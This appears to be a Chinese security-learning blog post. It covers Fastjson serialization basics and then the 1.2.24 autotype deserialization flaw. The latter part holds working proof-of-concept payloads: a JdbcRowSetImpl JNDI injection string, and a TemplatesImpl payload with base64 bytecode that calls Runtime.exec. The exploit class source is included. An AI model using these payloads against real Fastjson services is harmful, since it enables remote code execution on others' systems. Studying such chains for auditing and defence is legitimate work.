MENU

Fastjson反序列化

April 1, 2023 • Read: 2206 • Code auditing

Fastjson学习

JSON: JavaScript Object Notation(对象表示法),js对象简谱,是一种轻量级的数据交换格式.
Fastjson优点:速度快,使用广泛,测试完备,使用简单,功能完备

环境搭建

导入依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.70</version>
</dependency>

Json数据格式

Json数组
中扩号包裹,数组的元素之间逗号分开,数组元素类型没有数据类型限制
例子:

<script type="text/javascript">
        var jsonArray = ["m1","m2",99,9.9,true];
        for ( i=0 ; i<jsonArray.length; i++){
            console.log(jsonArray[i]);
        }
    </script>

Json对象
大括号包裹,定义为键值对,键必须上字符串类型,值对数据类型不限制,键与值之间为冒号分开,键值对之间为逗号分开
例子:

<script type="text/javascript">
        var jsonObject = {"m1":99,"m2":9.9,"m3":true,"m4":"who are you?"};
        console.log(jsonObject.m1);
        console.log(jsonObject.m2);
        console.log(jsonObject.m3);
        console.log(jsonObject.m4);

    </script>

数组和对象可以互相嵌套

Fastjson常用序列化API

Java对象与Json字符串相互转换

JSON.toJSONString:支持将Java基本类型和JavaBean转换成jsonString;
JSON.parseObject:支持将json类型的String转换成T类型的对象;

测试类

import com.oracle.webservices.internal.api.databinding.DatabindingMode;

public class Student {
    public int id;
    public String name;
    public int age;

    public void setId(int i) {
        this.id = i;
    }

    public void setName(String m1) {
        this.name = m1;
    }

    public void setAge(int i) {
        this.age = i;
    }
}
import com.alibaba.fastjson.JSON;

public class FastjsonTest {
    public static void main(String[] args) {
        display();
    }
    public static void display(){
        Student student = new Student();
        student.setId(1);
        student.setName("m1");
        student.setAge(6);
        String s = JSON.toJSONString(student);
        System.out.println(s);
        System.out.println("=============================================");
        Student student1 = JSON.parseObject(s, Student.class);
        System.out.println(student1);
    }

}

输出
截屏2022-09-13 16.03.26.png

List与Json字符串相互转换

JSON.toJSONString:支持将Java基本类型和JavaBean转换成jsonString;
JSON.parseArray:将json字符串转换成一个一个的实体类,存到List集合中;

import com.alibaba.fastjson.JSON;

import java.util.ArrayList;
import java.util.List;

public class FastjsonTest {
    public static void main(String[] args) {
       testListJson();
    }
    public static void testListJson(){
        List<Student> list = new ArrayList<Student>();
        Student student1 = new Student();
        student1.setId(1);
        student1.setName("m1");
        student1.setAge(6);
        Student student2 = new Student();
        student2.setId(2);
        student2.setName("m2");
        student2.setAge(7);
        list.add(student1);
        list.add(student2);
        String s = JSON.toJSONString(list);
        System.out.println(s);
        System.out.println("==============================");
        List<Student> students = JSON.parseArray(s, Student.class);
        for (Student student : students) {
            System.out.println(student);
        }
    }
}

截屏2022-09-13 20.31.31.png

Map与Json字符串互相转换

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class FastjsonTest {
    public static void main(String[] args) {
       testListJson();
    }
    public static void testListJson(){
        Map<String,Student> map =new HashMap<String,Student>();
        Student student1 = new Student();
        student1.setId(1);
        student1.setName("m1");
        student1.setAge(6);
        Student student2 = new Student();
        student2.setId(2);
        student2.setName("m2");
        student2.setAge(7);
        map.put("student1",student1);
        map.put("student2",student2);
        String s = JSON.toJSONString(map);
        System.out.println(s);
        System.out.println("==============================");
        Map<String,Student> jsonObject = (Map) JSON.parseObject(s);
        for (String key:jsonObject.keySet()){
            System.out.println(key+":"+jsonObject.get(key));
        }
    }
}

截屏2022-09-13 22.19.56.png

SerializerFeature枚举

可以在进行序列化时,自己定义特殊需求
JSON的静态方法:toJSONString()
方法参数:第一个为需要序列化的对象,第二个为SerializerFeature枚举类型的可变参数
SerializerFeature枚举的常量,可以通过我们进行个性修改

SerializerFeature属性

QuoteFieldNames    输出key时是否使用双引号,默认为true    
UseSingleQuotes    使用单引号而不是双引号,默认为false    
WriteMapNullValue    是否输出值为null的字段,默认为false    
WriteEnumUsingToString    Enum输出name()或者original,默认为false    
UseISO8601DateFormat    Date使用ISO8601格式输出,默认为false    
WriteNullListAsEmpty    List字段如果为null,输出为[],而非null    
WriteNullStringAsEmpty    字符类型字段如果为null,输出为”“,而非null    
WriteNullNumberAsZero    数值字段如果为null,输出为0,而非null    
WriteNullBooleanAsFalse    Boolean字段如果为null,输出为false,而非null    
SkipTransientField    如果是true,类中的Get方法对应的Field是transient,序列化时将会被忽略。默认为true    
SortField    按字段名称排序后输出。默认为false    
WriteTabAsSpecial    把\t做转义输出,默认为false    不推荐
PrettyFormat    结果是否格式化,默认为false    
WriteClassName    序列化时写入类型信息,默认为false。反序列化是需用到    
DisableCircularReferenceDetect    消除对同一对象循环引用的问题,默认为false    
WriteSlashAsSpecial    对斜杠’/’进行转义    
BrowserCompatible    将中文都会序列化为\uXXXX格式,字节数会多一些,但是能兼容IE 6,默认为false    
WriteDateUseDateFormat    全局修改日期格式,默认为false。JSON.DEFFAULT_DATE_FORMAT = “yyyy-MM-dd”;JSON.toJSONString(obj, SerializerFeature.WriteDateUseDateFormat);    
DisableCheckSpecialChar    一个对象的字符串属性中如果有特殊字符如双引号,将会在转成json时带有反斜杠转移符。如果不需要转义,可以使用这个属性。默认为false    
NotWriteRootClassName    含义    
BeanToArray    将对象转为array输出    
WriteNonStringKeyAsString    含义    
NotWriteDefaultValue    含义    
BrowserSecure    含义    
IgnoreNonFieldGetter    含义    
WriteEnumUsingName    含义

JSonFied注解

该注解用于方法上,字段和参数上,都可在序列化和反序列化时进行特性定制
FastJson中的注解@JSONField,一般作用在get/set方法上面,常用的使用场景有下面三个:

修改和json字符串的字段映射【name】
格式化数据【format】
过滤掉不需要序列化的字段【serialize】

源码如下
截屏2022-09-14 13.58.27.png

JSonType注解

放在实体类上就会只装配列举的字段或者排除列举的成员变量
属性

includes 要被序列化的字段
orders 要被序列化的顺序
serialzeFeatures 序列化时特性定义

源码
截屏2022-09-15 13.04.49.png

FastJson序列化的安全问题

FastJson 利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的 API 有两个,分别是JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject来获取数据,使用SerializerFeature.WriteClassName 时 会在序列化中写入当前的 type, @type 可以指定反序列化任意类,调用其 set,get,is 方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成 RCE的问题

但是由于1.2.25 及之后的版本,fastjson 禁用了部分 autotype 的功能,也就是”@type” 这种指定类型的功能会被限制在一定范围内使用。所以需要我们主动增加白名单。

简单例子

创建一个User类

package test;

public class User {
    private String name;
    private int id;

    public User(){
        System.out.println("无参构造");
    }

    public User(String name, int id) {
        System.out.println("有参构造");
        this.name = name;
        this.id = id;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", id=" + id +
                '}';
    }

    public String getName() {
        System.out.print("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getId() {
        System.out.println("getId");
        return id;
    }

    public void setId(int id) {
        System.out.println("setId");
        this.id = id;
    }
}

然后是我们的测试类

package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonTest {
    public static void main(String[] args) {
        /*User user = new User("xu",12);
        String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(json);*/
        String s = "{\"@type\":\"test.User\",\"id\":12,\"name\":\"xu\"}";
        User user = JSON.parseObject(s, User.class);
    }

}

截屏2023-05-06 15.38.04.png

可以看见通过JSON.parseObject来反序列化(不同于原生的反序列化),再结合@type 可以指定反序列化任意类时都会调用set方法,如果一个类满足set方法里面有我们可以操作的空间,那就可以导致反序列化漏洞的产生。

1.2.24

JdbcRowSetImpl链子

com.sun.rowset.JdbcRowSetImpl中的dataSourceName属性 寻找他的setAutoCommit方法
截屏2023-05-08 18.00.41.png

而this.conn在构造函数中初始为null
截屏2023-05-11 15.12.42.png

所以走到this.conn为null的时候会进入到this.connect()中,继续跟进可以看见var1.lookup()经典的JNDI注入
截屏2023-05-11 15.22.55.png

且DataSourceName也可通过Josn格式可控
截屏2023-05-11 15.28.02.png

所以本地起个rmi或者ladp服务

java -jar JNDI.jar -C  "open -a Calculator.app" -A 127.0.0.1

截屏2023-05-12 14.13.48.png

package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.rowset.JdbcRowSetImpl;

public class FastjsonTest {
    public static void main(String[] args) {
        /*User user = new User("xu",12);
        String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(json);*/
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/xo26de\",\"autoCommit\":true}";
        /*JSON.parse(s);*/
        JdbcRowSetImpl jdbcRowSet = JSON.parseObject(s, JdbcRowSetImpl.class);

    }

}

截屏2023-05-12 14.22.33.png

TemplatesImpl

这条链子就是之前的动态加载字节码的链子,具体可以看看:http://blog.m1kael.cn/index.php/archives/574/,再来调一遍,因为要用到的变量都是private的,需要在反序列化时加Feature.SupportNonPublicField参数
截屏2023-06-08 11.02.42.png

TemplatesImpl的getOutputProperties方法,它是_outputProperties的getter方法
截屏2023-06-08 11.21.07.png

继续跟进,在newTransformerImpl对象时会进入到getTransletInstance()中
截屏2023-06-08 11.25.01.png

跟进getTransletInstance()
截屏2023-06-08 11.39.46.png

这里就有加载字节码,我们写一个exp

package test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


import java.io.IOException;

public class exp extends AbstractTranslet {
    public exp() throws IOException {
    Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
    }

    public static void main(String[] args) throws IOException {
        exp exp = new exp();
    }

}

Fastjson的一些其它功能点就是在为类属性调用getter/setter时会调用smartMatch()忽略掉_ -字符串,这里还用到了另一个功能点就是因为最后payload为byte[],所以生成的class文件用base64编码

package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class FastjsonTest {
    public static void main(String[] args) {
        String a ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAApMdGVzdC9leHA7AQAKRXhjZXB0aW9ucwcAKwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAANleHABAApTb3VyY2VGaWxlAQAIZXhwLmphdmEMAAgACQcALQwALgAvAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAMAAxAQAIdGVzdC9leHABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAUAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAbAAgAHAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAQAAEAIgAAAAIAIw==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
        JSON.parse(a, Feature.SupportNonPublicField);
        }

}

截屏2023-06-09 16.49.16.png

其他版本的poc可以网上找一找:https://mp.weixin.qq.com/s/lGTYslO-EtLIZZf6QCfiQw

Last Modified: June 20, 2023
Archives Tip
QR Code for this page
Tipping QR Code